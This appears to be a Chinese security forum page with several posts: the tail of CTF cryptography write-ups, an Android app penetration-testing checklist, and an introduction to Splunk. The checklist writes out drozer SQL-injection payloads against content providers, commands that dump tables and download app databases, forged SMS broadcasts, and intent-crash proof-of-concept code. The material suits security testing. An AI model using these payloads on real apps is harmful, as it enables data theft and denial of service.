key_poss3[5][k] or key_poss1[5][1] == \ key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][2] == \ key_poss2[5][j] == key_poss3[5][k] or key_poss1[5][3] == \ key_poss2[5][j] == key_poss3[5][k]: key6.append(key_poss2[5][j]) # if len(key6)==1: #print("key6:", key6) if key_poss1[6][0] == key_poss2[6][j] == key_poss3[6][k] or \ key_poss1[6][1] == key_poss2[6][j] == key_poss3[6][k] or \ key_poss1[6][2] == key_poss2[6][j] == key_poss3[6][k] or \ key_poss1[6][3] == key_poss2[6][j] == key_poss3[6][k]: key7.append(key_poss2[6][j]) # if len(key7) == 1: #print("key7:", key7) if key_poss1[7][0] == key_poss2[7][j] == key_poss3[7][k] or \ key_poss1[7][1] == key_poss2[7][j] == key_poss3[7][k] or \ key_poss1[7][2] == key_poss2[7][j] == key_poss3[7][k] or \ key_poss1[7][3] == key_poss2[7][j] == key_poss3[7][k]: key8.append(key_poss2[7][j]) #print("key8:", key8) #print("key zhaodaol") key_real[0] = key1[0] key_real[1] = key2[0] key_real[2] = key3[0] key_real[3] = key4[0] key_real[4] = key5[0] key_real[5] = key6[0] key_real[6] = key7[0] key_real[7] = key8[0] if __name__ == '__main__': plaintext1 = "4845AB454511C0F0" miwen1 = "2EA85F08AA80C2D2" plaintext2 = "0123456789ABCDEF" miwen2 = "0293A8B9E45FCE5D" plaintext3 = "81120015A001FDF1" miwen3 = "E88382207800FE7A" plaintext1 = input("请输入第一组明文:") miwen1 = input("请输入第一组密文:") plaintext2 = input("请输入第二组明文:") miwen2 = input("请输入第一组密文:") plaintext3 = input("请输入第三组明文:") miwen3 = input("请输入第一组密文:") key_poss1 = key_poss(plaintext1, miwen1, 1) key_poss2 = key_poss(plaintext2, miwen2, 2) key_poss3 = key_poss(plaintext3, miwen3, 3) #print(key_poss1[0],key_poss2[0],key_poss3[0],sep='\n') cryptanalysis(key_poss1, key_poss2, key_poss3) # miyao = twoto16(key_real) print("经过差分密码分析得知,密钥为:\n", key_real) # #print("miyao:",miyao) 24 素数难度:入门 该题主要考察大素数检测的知识,根据费马小定理设计的rabin_Miller算法是效率最高的算法之一,虽然并不能100%保证通过检测的数一定是素数(比如561,伪质数),但是再添加足够多的底数后,是可以保证通过检测的数绝大概率可用的(伪质数出现概率大概为2的100次方分之一),该素性检测算法现如今应用于各类加密算法。顺道一提,另一种可以确定性检测素性(不会出现误测)的AKS素性检测的基本理念也是费马小定理,只是在多项式的时间复杂度内排除掉了被检测数是所有种类的伪质数的情况。 脚本如下: import random def rabin_miller(num): s = num - 1 t = 0 while s % 2 == 0: s = s // 2 t += 1 for trials in range(5): a = random.randrange(2, num - 1) v = pow(a, s, num) if v != 1: i = 0 while v != (num - 1): if i == t - 1: return False else: i = i + 1 v = (v ** 2) % num return True def is_prime(num): # 排除0,1和负数 if num < 2: return False # 创建小素数的列表,可以大幅加快速度 # 如果是小素数,那么直接返回true small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997] if num in small_primes: return True # 如果大数是这些小素数的倍数,那么就是合数,返回false for prime in small_primes: if num % prime == 0: return False # 如果这样没有分辨出来,就一定是大整数,那么就调用rabin算法 return rabin_miller(num) # 得到大整数,默认位数为1024 def get_prime(key_size=1024): while True: num = random.randrange(2**(key_size-1), 2**key_size) if is_prime(num): return num if __name__ == '__main__': print("print check number") a=input() a= int(a) if a > 0: print(is_prime(a)) 25 键盘侠根据给出的文字 对应键盘上的按键画图案 对应字符分别为 C L C K O U T H K 根据要求得到flag flag{CLCKOUTHK} 26 silent_peepersage已经封装好了这个攻击,得到a,b后算出key进行AES解密即可 p = 174807157365465092731323561678522236549173502913317875393564963123330281052524687450754910240009920154525635325209526987433833785499384204819179549544106498491589834195860008906875039418684191252537604123129659746721614402346449135195832955793815709136053198207712511838753919608894095907732099313139446299843 g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977 A = 142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016L B = 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544L k = GF(p) a = discrete_log_lambda(k(A),k(g),(2**39,2**40)) b = discrete_log_lambda(k(B),k(g),(2**39,2**40)) print(a) print(b) 27 Neo-reGeorgNeo-reGeorg 使用的一种简单的base64换表加密 这种方法在已知明文的时候十分脆弱 使用提供的日志很容易拼出第一个http请求的部分开头明文(注意流量换行使用的是\n\r) GET / HTTP/1.1 Host: 192.168.234.176 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0使用base64编码后与密文对比 可以还原出大部分映射表 剩余的少量映射关系可以通过爆破得出 拿到表后即可完整解密通信流量得到flag 原文: https://xz.aliyun.com/t/10642
  14. 一、客户端程序安全测试1.检查apk的信息 java -jar GetApkInfo.jar tfkj.apk 2.数字签名检查 C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk -verbose -certs 开发者证书不规范,导致开发者身份信息不明 keytool.exe -printcert -file .\CERT.RSA 3.反编译检查 通过ApkScan.jar查看APP加固类型 apk反编译为Java源代码: 把 apk 当成 zip 并解压,得到 classes.dex 文件 将解压出来的classes.dex文件拷贝到dex2jar工具文件夹中 执行命令:d2j-dex2jar classes.dex 执行完毕后,得到反编译而来的classes-dex2jar.jar文件 使用jd-gui.exe或者luyten-0.5.4打开 classes-dex2jar.jar文件,得到360安全加固混淆加密的源代码。 apk编译为smali语言: java -jar [apktool_2.3.4.jar] d -f [apk地址] -o [输出目录] java -jar apktool_2.3.3.jar d [-s] -f C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk -otfkj //遇到类似于淘宝app无法反编译这样,-s代表只反编译xml文件 java -jar apktool_2.3.3.jar d -f C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk -otfkj 或者: apktool.bat d 天府科技云服务平台.apk 4.检查AndroidManifest.xml文件 java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.txt 或者 java -jar APKParser.jar 天府科技云服务平台.apk > AndroidManifest.txt 1.开启应用程序数据可备份: allowbackup备份权限,ture则存在备份数据泄露风险(未配置的情况下,默认为TRUE) 2.开启不安全的debug模式: Debuggable属性,true则存在应用信息篡改泄露风险(未配置的情况下,默认为FALSE) 5. 检查是否存在Janus漏洞(1)Janus漏洞(基于Janus漏洞,攻击者可以修改APP而不影响其原始签名,篡改后的APP可以成功安装运行。应同时使用V1+V2签名) 6.应用完整性校检 将反编译出来源码中修改图片文件名为test.png 进行重新生成apk包,命令如下: java -jar apktool.jar b -f 待打包的文件夹 -o 输出 apk 路径 或者 apktool.bat b天府科技云服务平台 天府科技云文件下便可以发现多了2个文件夹:build,dist(里面存放着打包出来的APK文件) 重新签名APK命令如下: java -jar signapk.jar testkey.x509.pem testkey.pk8 待签apk文件路径 签名后输出apk路径 然后重新安装apk,如果重新能安装上,则文件完整性被破坏掉 二.组件安全测试1、基本信息查询(1)、列出程序安装包: run app.package.list (2)、获取app名为drozer的包名( 中文APP名列不出来,可以使用:java -jar GetApkInfo.jar得到安装app的包名) 命令:run app.package.list -f 包名 run app.package.list -f drozer (3)、查看android四大组件攻击面: 命令:run app.package.attacksurface 包名 run app.package.attacksurface com.zhuoyigou.dese2、activity(界面)组件测试通常展现为一个可视化的用户交互界面 (1)、查看对外的activity组件信息命令:run app.activity.info -a 包名 run app.activity.info -a com.zhuoyigou.dese(2)、使用app.activity.start进行漏洞测试 命令:run app.activity.start --component 包名 组件名 run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList #绕过密码进入系统,一般主要登录窗口交互界面 调用暴露的activity组件(一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,下面这个这是个测试,没有组件暴露漏洞)3、content provider(内容提供者)组件测试主要用于在不同应用程序之间实现数据共享的功能 (1)、查看content provider组件信息命令:run app.provider.info -a 包名 run app.provider.info -a com.zhuoyigou.dese(2)、Content Providers 数据泄露URL命令:run scanner.provider.finduris -a 包名run scanner.provider.finduris -a com.zhuoyigou.dese(3)、获取各个Uri的数据 命令:run app.provider.query 可泄露的URL地址 --verticalrun app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --vertical(3)、Content Providers SQL注入 命令1: run app.provider.query 能连接的URL地址 --projection "'" 命令2: run app.provider.query 能连接的URL地址 --selection "'"run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --selection "'"报错则说明存在SQL注入 (4)、列出所有表 命令:run app.provider.query 能连接的URL地址 --projection "* FROM SQLITE_MASTER WHERE type='table';--"run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"如下图我们发现三张表android_metadata、Passwords、Key,从名称上可以判断android_metadata是系统相关表,另外两可能和密码等数据有关。 (5)、获取某个表(如Key)中的数据: 命令:run app.provider.query 能连接的URL地址 --projection "* FROM 表名;--"run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --projection "* FROM Key;--"(6)、检测SQL注入 命令:run scanner.provider.injection -a 包名 run scanner.provider.injection -a com.zhuoyigou.dese(7)、检测目录遍历 命令:run scanner.provider.traversal -a 包名run scanner.provider.traversal -a com.zhuoyigou.dese(8)读取系统文件命令:run app.provider.read 能连接的URL地址 run app.provider.read content://com.zhuoyigou.dese.ipc.provider/ (9)、下载系统文件到本地 命令:run app.provider.download 可用的下载文件地址 本地的绝对路径 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db(9)、列出该app的表名命令:run scanner.provider.sqltables -a 包名 run scanner.provider.sqltables -a com.zhuoyigou.dese 4、service((服务)组件测试无用户界面,但它会在后台一直执行 (1)、查看service组件信息命令:run app.service.info -a 包名run app.service.info -a com.zhuoyigou.dese (2)、调用内部服务组件命令:run app.service.start --action 组件名 --component 包名 组件名 run app.service.start --action cn.jpush.android.service.DaemonService --component com.zhuoyigou.dese cn.jpush.android.service.DaemonService观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问 5、Broadcase receiver(广播接收器)组件测试无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升,拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。(1)、查看暴露的广播组件信息: 命令:run app.broadcast.info -a 包名 run app.broadcast.info -a com.zhuoyigou.dese (2)、尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras) 空action: 命令:run app.broadcast.send --component 包名 广播名(组件名)run app.broadcast.send --component com.zhuoyigou.dese ReceiverName 空extras: 命令:run app.broadcast.send --action 组件名 尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行 run app.broadcast.send --action com.zhuoyigou.dese.receiver.JPushReceiver (3)、恶意广播命令:run app.broadcast.send --componen 包名 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceive --extra string number 66666 run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa 或者run app.broadcast.send --action 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2 run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa 测试真实主机发送短信run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17********* 6.Intent本地拒绝服务检测 1.通过使用drozer工具查看对外暴露组件的应用如下: run app.activity.info –a 包名 grep -rn “get*Extra” ./ | more # 检测在获取intent数据时是否进行了异常处理 2.使用反编译工具打开应用,反编译出应用源码: 在源码中查找以下示例源码(主要查找getAction): Intent i = new Intent(); if (i.getAction().equals("TestForNullPointerException")) { Log.d("TAG", "Test for Android Refuse Service Bug"); } 如出现像以上代码,getIntent()的intent附带空数据、异常或畸形数据,而且处理getXXXExtra()获取的数据时没有进行异常捕获,便存在风险。 3.可使用adbshell验证: #adb shell # am start -n 包(package)名/包名.活动(activity)名称 # am start -n com.android.music/com.android.music.MusicBrowserActivity #如果服务端出现崩溃界面,则可以证明漏洞存在 4.可造成本地拒绝服务: 1.ClassNotFoundException异常导致的拒绝服务: 源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。 Intent i = getIntent(); getSerializableExtra("serializable_key"); 攻击应用代码片段: Intent i = new Intent(); i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity"); i.putExtra("serializable_key", BigInteger.valueOf(1)); startActivity(i); 2.IndexOutOfBoundsException异常导致的拒绝服务: 源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃; 漏洞应用代码片段: Intent intent = getIntent(); ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id"); if (intArray != null) { for (int i = 0; i < USER_NUM; i++) { intArray.get(i); } } 攻击应用代码片段: Intent intent = new Intent(); intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity"); ArrayList<Integer> user_id = new ArrayList<Integer>(); intent.putExtra("user_id", user_id); startActivity(intent); ) 3.ClassNotFoundException异常导致的拒绝服务: 源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。漏洞应用代码片段: Intent i = getIntent(); i.getSerializableExtra("serializable_key"); 攻击应用代码片段: public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Intent i = new Intent(); i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity"); i.putExtra("serializable_key", new SelfSerializableData()); startActivity(i); } static class SelfSerializableData implements Serializable { private static final long serialVersionUID = 42L; public SelfSerializableData() { super(); } } 三.webview 组件安全 1.webview远程命令执行漏洞Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion 是否大于等于 17。 或者在线检查;https://security.tencent.com/lucky/check_tools.html(在手机浏览器中打开) 2.webview 代码执行 条件:targetsdkVersion<19,并且android版本小于4.2,并且反编译代码中搜索关键字addJavascriptInterface是否别调用。Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion、minSdkVersion , 若targetsdkVersion>=19或通过minSdkVersion进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用addJavascriptInterface(),如果使用addJavascriptInterface,则会存在被注入js接口的漏洞。 3.WebView不校验证书检测 搜“onReceivedSslError”,看是否调用了handle.process()方法(在webview组件代码中测试) 解决方案: handler.cancel(); 或者paramAnonymousSslErrorHandler.proceed(); @SuppressLint("NewApi") @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { //handler.proceed();// 接受证书 super.onReceivedSslError(view, handler, error); } 4.WebView密码明文保存检测 搜”setSavePassword”,看是否显式设置为false(在webview组件代码中测试) 如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中 5.allowFileAccess导致的File域同源策略绕过漏洞如果webview.getSettings().setAllowFileAccess(boolean)设置为true,则会面临该问题;该漏洞是通过WebView对Javascript的延时执行和html文件替换产生的。webview.getSettings().setAllowFileAccess(truet); 四、敏感信息安全测试1.检查私有目录下的文件权限此私有目录通常位于:/data/data/包名,在测试时,建议完全退出客户端后,再进行私有文件的测试。 首先查看相关文件的权限配置,正常的文件权限最后三位应为空(类似“rw-rw----” ),即除应用自己以外任何人无法读写; 目录则允许多一个执行位(类似“rwxrwx—x” )。如下图所示,(lib 子目录是应用安装时由 android 系统自动生成,可以略过)。 adb.exe shelllscd com.sccl.app.technologyyun ls al 2.检查客户端程序存储在手机中的 SharedPreferences 配置文件方法:检查 /data/data/包名/shared_prefs下是否含有.xml配置文件里面包含敏感信息泄露 3..检查客户端程序存储在手机中的 SQLite 数据库文件方法:一般在/data/data/包名/database目录下.db文件,将其拷贝到桌面,使用SQLiteExper查看4.检查客户端程序 apk 包中是否保存有敏感信息 方法:对APK进行反编译得到源码,然后 搜索" base64"和"KEY"看是否泄漏了敏感的KEY值4.检查logcat日志 检查日志中是否包含敏感信息:清空日志:adb logcat -c 持续输出日志:adb logcat > d:\test.log 一次性输出日志:adb shell logcat -d >d:\test2.txt 五.密码软键盘安全性测试1.键盘劫持 方法:安全键盘劫持APP,KeyTest.apk,可以记录软键盘记录,启动APP,然后输入信息,然后使用logcat输出日志 通过观察app在输入密码的地方是否会弹出自定义的软键盘,没有弹出软键盘,则默认调用android系统默认键盘,可能被劫持。 2.屏幕录像: adb shell /system/bin/screencap -p 输出 png 路径(安卓设备中) adb shell /system/bin/screencap -p /data/data/1.jpg #通过连续截图,是否可以捕捉到用户密码输入框的密码 3.软键盘安全性测试用眼观察每次弹出来的自定义的软键盘是否随机变化布局,每次启动程序,输入密码,软键盘位置不同。 六.安全策略设置测试 1.密码复杂度检测 方法:在注册页面使用弱口令进行注册,看是否提示密码复杂度不符合,或者注册好后的账号修改成弱密码,然后登陆,是否提示密码复杂度不符合。2.单点登录限制策略测试一个帐号是否可以同时在多个设备上成功登录客户端,进行操作,可在本机安装和虚拟机安卓机上分别登陆,是否提示多台设备登陆3.账户锁定策略 测试客户端是否限制登录尝试次数。比如连续输入10次以上,是否账号锁定,或者没有验证码验证 4.会话超时策略测试客户端在超过 20 分钟无操作后,是否会使会话超时并要求重新登录。超时时间设置是否合理。 该APP 过了几个小时,一直没有退出。 5.界面切换保护 用户切换到后台但程序没有结束运行或者结束程序运行,再返回应用的时候是否有需要身份验证 ,手势密码或者密码登录 6. UI信息泄露 检测是否对用户的真实姓名、身份证号、银行卡号、手机号等进行适当用星号进行脱敏处理。 7.验证码安全测试验证码是否有时效性,以及短信轰炸等逻辑漏洞,或者弱的图形验证码。 8.安全退出 使用抓包登录,用之前登录的cookie,然后退出,再进行请求是否登录。9.密码修改验证 修改密码的时候,使用之前的旧的的密码是否验证旧密码是否可用。 10.Activity界面劫持 打开应用,测试工具会尝试用自己的窗口覆盖被测的应用。测试工具试图显示自己的窗口时,安全的客户端应该弹出警告提示。如果劫持成功,会出现如下界面: 11.账号枚举测试输入存在和不存在,看提示信息判断 12.弱加密算法审查1、使用反编译工具进行反编译 2、打开源码后,查找代码中查找关键字“des"和”base64"是否存在弱密码加密。 SecretKeySpec key = new SecretKeySpec(rawKeyData, "DES"); Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, key); 3、RSA中不使用Padding: 使用RSA公钥时通常会绑定一个padding,原因是为了防止一些依赖于no padding时对RSA算法的攻击。风险代码样例: 下面出现安全问题: Cipher rsa = null; try { rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding"); } catch (java.security.NoSuchAlgorithmException e) { } catch (javax.crypto.NoSuchPaddingException e) { } SecretKeySpec key = new SecretKeySpec(rawKeyData, "RSA"); Cipher cipher = Cipher.getInstance("RSA/NONE/NoPadding"); cipher.init(Cipher.DECRYPT_MODE, key); 下图是安全的: 4、没有安全的初始化向量 初始化向量时,使用了硬编码到程序的常量。风险代码样例: byte[] iv = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; IvParameterSpec ips = new IvParameterSpec(iv) 5、 使用了不安全的加密模式(这里需要使用AES/CBC/PKCS7Padding) SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding", "BC"); cipher.init(Cipher.ENCRYPT_MODE, key); 下图是安全的: 6、 使用了不安全的密钥长度 public static KeyPair getRSAKey() throws NoSuchAlgorithmException { KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA"); keyGen.initialize(512); KeyPair key = keyGen.generateKeyPair(); return key; } 14.私密问题验证 验证客户端是否存在忘记密码时的私密问题验证,或者需要提示输入之前的原密码或者原问题都可以。13.应用权限测试检查申请应用权限是否大于业务需要权限,有即存在安全隐患。 七.手势密码安全测试 1.手势密码的复杂度 反编译 APK 为 jar 包,通过 jd-gui 观察对应代码逻辑是否有相应的判断和限制 条件。(一般设置手势密码若输入点数过少时会有相应的文字提示,通过此文字提示可以快 速定位到代码位置,这里在反编译代码中搜索“至少连接4个点,请重新输入").注意这里需要设置2次相同的4个点的手势密码。 2.手势密码的修改和取消 1. 进入客户端设置手势密码的位置,一般在个人设置或安全中心等地方。 2. 进行手势密码修改或取消操作,再次登录,是否需要输入修改后的手势密码,或者取消手势密码后,是否采用其他登录方式登录。3.反编译 APK 为 jar 包,通过 jd-gui 观察对应代码逻辑,寻找客户端对于手势密 码的修改和删除是否存在相应的安全策略。 3.手势密码的本地信息保存 检测在输入手势密码以后客户端是否会在本地记录一些相关信息,例如明文或加密过的手势密码。 1. 首先通过正常的操作流程设置一个手势密码并完整一次完整的登陆过程。 2. 寻找/data/data 的私有目录下是否存在手势密码对应敏感文件,若进行了相关的 信息保存,基本在此目录下。(关键词为 gesture, key 等) 4.手势密码的锁定策略1. 首先通过正常的操作流程设置一个手势密码。 2. 输入不同于步骤 1 中的手势密码,观察客户端的登陆状态及相应提示。若连续输 入多次手势密码错误,观察当用户处于登陆状态时是否退出当前的登陆状态并关闭客户端; 3. 反编译 APK 为 jar 包,通过 jd-gui 观察对应代码逻辑,寻找客户端是否针对输.入次数及锁定时间有相应的逻辑处理。 5.手势密码的抗攻击测试 验证是否可以通过插件绕过手势密码的验证页面。 1. 下载并安装 Xposed 框架及 SwipeBack 插件。 2. 启动客户端并进入手势密码输入页。 3. 启动 SwipeBack 插件,观察是否可以通过滑动关闭手势密码输入页的方式进入登 陆后的页面 八.通信安全测试 1.http通信分析通过代理对其抓包分析,是否采用https加密,如没有http就能明文获取。2.socket通信分析使用tcpdump将设备中的应用操作引发的通信包导出,使用wireshark查看,命令如下: tcpdump -w traffic.pcap 3.证书有效性 1.如果使用https.通过客户端代理访问,是否提示证书有效,客户端程序和服务器端 SSL 通信是否严格检查服务器端证书有效性。避免手机银行用户 受到 SSL 中间人攻击后,密码等敏感信息被嗅探到. 2.SSL 协议安全性。检测客户端使用的 SSL 版本号是否不小于 3.0(或 TLS v1),加密算法是否安全。(安全规范要求) 使用 openssl,指定域名和端口,可以看到 SSL 连接的类型和版本。如下图所示,使用了 TLSv1,加密算法为 AES 256 位密钥。(RC4,DES 等算法被认为是不安全的)。也可以使用这个网站在线检查:https://www.ssllabs.com/ssltest/ 4.关键数据加密和校检 1.通过抓包分析https/http中传输的敏感数据这里主要是post提交的数据(密码和银行卡号是否加密)2.尝试在代理中篡改客户端提交的数据,检查服务端是否能检测到篡改5.访问控制利用截包工具获取APP请求的url,是否能用PC浏览器打开该url;以及未授访问直接登录 6.客户端更新安全性 更新客户端,使用burp抓包-- 检测是否能够修改更新时的流量,流量中含有更新服务器,是不是官方地址。 九.进程保护测试 1.外部动态加载DEX安全风险检测 在反编译处来的源码中搜索:DexClassLoader 1.风险位置: public DexClassLoader(String dexPath,String optimizedDirectory, String libraryPath, ClassLoader parent)[2] 2.查看AndroidManifest.xml包package值相对应路径下的文件中是否含有DexClassLoader()函数调用 2.本地端口开放检测 busybox netstat -tuanp|grep -Ei 'listen|udp*' 3.动态注入 通过xposed框架进行hook动态注入测试或者参考:https://github.com/crmulliner/ddi 4..存访问和修改 可以使用 MemSpector 查看、搜索和修改客户端内存数据,如图所示。用户名、密码等数据通常会在/dev/ashmem/dalvik-heap 内存段。(目前大多数工具都是通过 ptrace 接口修改客户端内存,可以使用 ptrace 机制本身防护。) 十、android下虚拟机下tcpdum抓包adb命令:帮助信息: adb help 查看设备: adb devices 登录设备: adb shell adb shell <command命令> 上传文件: adb push <本地路径> <远程路径> 下载文件: adb pull <远程路径> <本地路径> 安装软件: adb install [-r强制安装] [-s将apk安装在SD-Card] 卸载软件: adb uninstall [-k 保留配置文件和缓存文件] <软件名本次用到虚拟机为逍遥模拟器:adb push tcpdump /data/local/ adb shell chmod 777 /data/local/tcpdump cd /data/local./tcpdump -i any -p -vv -s 0 -w capture.pcapadb pull /data/local/capture.pcap d:\ 十、android下xposed安装以及常用插件安装1.xposed我是在腾讯安全宝应用市场,搜索xposed关键字下载的,安卓虚拟机用的最新版的逍遥模拟器2.这里建议下载xposed 89框架版本3.常用的模块有justtrustme(绕过SSL证书抓包),xserver(主要对加密的URL连接进行hook解密)这些都可以在github上找到响应的.apk文件进行安装http://127.0.0.1:8000/tracer 十二、安卓代码检查1.推荐用360显微镜对apk进行扫描:http://appscan.360.cn/2.对反编译出来的代码可以用码云奇安信代码卫士服务进行扫描:https://gitee.com/3.eclipse 使用插件findbugshttp://appscan.360.cn/app/748c0d6571aac824cdaa00da774ed691/report/
  15. 0x00 初识splunk 一、公司: 美国Splunk公司,成立于2004年,2012年纳斯达克上市,第一家大数据上市公司,荣获众多奖项和殊荣。 总部位于美国旧金山,伦敦为国际总部,香港设有亚太支持中心,上海设有海外第一个研发中心。目前国内最大的客户许可是800GB/天。 产品:Splunk Enterprise【企业版】、Splunk Free【免费版】、Splunk Cloud、Splunk Hunk【大数据分析平台】、Splunk Apps【基于企业版的插件】等。 二、产品: Splunk Enterprise,企业版,B/S架构,按许可收费,即每天索引的数据量。 (购买20GB的许可,则默认每天可索引20G数据量;一次购买永久使用;如果使用试用版,试用期结束之后会切换到免费版) Splunk Free,免费版,每天最大数据索引量500MB,可使用绝大多数企业版功能。 (免费版没有例如:身份验证、分布式搜索、集群等功能) Splunk Universal Forwarder,通用转发器,是Splunk提供的数据采集组件,免费,部署在数据源端,无UI界面,非常轻量,占用资源小。 (转发器无许可证,是免费的;企业版专用的;所以部署在数据源,例如:部署在你的WEB服务器上,监控你的WEB日志,实时监控,产生一条日志则转发一条,进行增量转发;一般配置修改配置文件或者使用CLI命令。占用资源小) 三、Splunk是什么 面向机器数据的全文搜索引擎; (使用搜索引擎的方式处理数据;支持海量级数据处理) 准实时的日志处理平台; 基于时间序列的索引器; 大数据分析平台; 一体化的平台:数据采集->存储->分析->可视化; 通用的搜索引擎,不限数据源,不限数据格式; 提供荣获专利的专用搜索语言SPL(Search Processing Language),语法上类似SQL语言 Splunk Apps 提供更多功能 (针对操作系统、思科网络设备,splunk都提供了专用的APP,接入数据源都可以看到直观的仪盘表。) 四、机器数据是什么 机器数据是指:设备和软件产生的日志数据、性能数据、网络数据包。这些数据都是一些非结构化的数据,我们可以统一将这些数据统一采集到splunk之后,splunk可以对这些数据进行索引、调查、监控、可视化等。 五、Splunk组件 索引器:索引器是用于为数据创建索引的Splunk Enterprise 实例。索引器将原始数据转换为事件并将事件存储至索引(Index)中。索引器还搜索索引数据,以响应搜索请求。 搜索头:在分布式搜索环境中,搜索头是处理搜索管理功能、指引搜索请求至一组搜索节点,然后将结果合并返回至用户的Splunk Enterprise 实例。如果该实例仅搜索不索引,通常被称为专用搜索头。 搜索节点:在分布式搜索环境中,搜索节点是建立索引并完成源自搜索头搜索请求的Splunk Enterprise实例。 转发器:转发器是将数据转发至另一个Splunk Enterprise 实例(索引器或另一个转发器)或至第三方系统的Splunk Enterprise 实例。 接收器:接收器是经配置从转发器接收数据的Splunk Enterprise 实例。接收器为索引器或另一个转发器。 应用:应用是配置、知识对象和客户设计的视图和仪表板的集合,扩展Splunk Enterprise 环境以适应Unix 或Windows 系统管理员、网络安全专家、网站经理、业务分析师等组织团队的特定需求。单个Splunk Enterprise 安装可以同时运行多个应用。 六、Splunk分布式架构 如上图所示: 1、可分为三层:第一层为数据源端:如应用服务器、服务总线、网络设备、防火墙等。 